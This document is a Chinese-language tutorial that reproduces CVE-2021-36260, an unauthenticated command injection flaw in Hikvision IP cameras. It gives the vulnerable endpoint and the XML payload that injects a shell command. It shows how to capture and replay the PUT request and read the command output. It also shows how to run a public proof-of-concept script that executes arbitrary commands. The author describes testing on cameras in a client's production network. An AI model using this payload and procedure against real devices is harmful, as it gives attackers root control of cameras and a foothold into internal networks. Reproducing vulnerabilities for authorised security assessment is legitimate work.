海康摄像头CVE-2021-36260漏洞复现
- 1.漏洞介绍
- 2.手动测试
- 2.1.摄像头版本
- 2.2.漏洞复现
- 2.2.1.更改URL
- 2.2.2.抓包修改数据
- 2.2.3.更换请求路径
- 2.2.4.后期利用
- 3.POC测试
- 3.1.下载POC
- 3.2.运行POC
- 3.3.测试漏洞
- 3.4.执行命令
1.漏洞介绍
攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备,即使设备的所有者受限于有限的受保护 shell(psh)。除了入侵 IP 摄像头外,还可以访问和攻击内部网络。
该漏洞的利用并不需要用户交互,攻击者只需要访问 http 或 HTTPS 服务器端口(80/443)即可利用该漏洞,无需用户名、密码、以及其他操作。摄像头本身也不会检测到任何登录信息。
通告链接:CVE-2021-36260
2.手动测试
2.1.摄像头版本
版本可以具体的去观察一下,通过测试者的描述该漏洞在2016年其实就有了,只是一致没有被披露出来。
参考链接:参考文章
在界面中是能够看到有多少年的,比如我所在的客户现场就有很多的2019以及2020的摄像头,当然我这是内网,也没有对外映射,就是平常自己测试。正常来说应该在21年的年中之前的摄像头都可能会存在该问题。
2.2.漏洞复现
漏洞点位于:/SDK/webLanguage,利用PUT方法上传xml数据。
命令:<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>
2.2.1.更改URL
这里首先需要将浏览器的访问链接修改至/SDK/webLanguage,访问的url就是:http://IP地址/SDK/webLanguage,访问完成后会出现这样的页面,在这个页面进行刷新抓包。
2.2.2.抓包修改数据
这里我们通过抓包后,把数据包放入重放器中,由于后续的操作还需用到。在重放器中把之前提到的代码粘贴进去,然后发送。这里的抓到的包可能会由于浏览器不同所表示出来的形式也不同,可以进行向后面测试。
2.2.3.更换请求路径
当发送成功后,就需要更换发送路径了,把路径修改为/x。也就是在重放器中将原来/SDK/webLanguage的位置替换为/x,然后发送就可以看到数据了。
2.2.4.后期利用
这里的后期利用,我就不演示了,都是linux系统,放一些linux命令进行执行就可以了。由于我是在生产环境就不测试了。
3.POC测试
这里就是使用网上公开的POC进行测试。
3.1.下载POC
链接:POC
3.2.运行POC
首先将脚本下载下来,使用python3运行,这里需要注意的是一定要在python脚本的当前目录下运行。
3.3.测试漏洞
这里的测试漏洞,就是测试是否存在漏洞,适合一些点到为止的人,在安全巡检中使用。
命令:python CVE-2021-36260.py --rhost IP地址 --rport 80 --check
3.4.执行命令
这里只是测试了一下是否能够输出目录文件,并没有向后测试,也是由于我在生产环境中,弄坏了,还要找人修,就没有向后测试,当然测试到这里也就表明了漏洞的存在以及是能够被利用的,我的使命也就完成了。
命令:python CVE-2021-36260.py --rhost IP地址 --rport 80 --cmd "ls -al"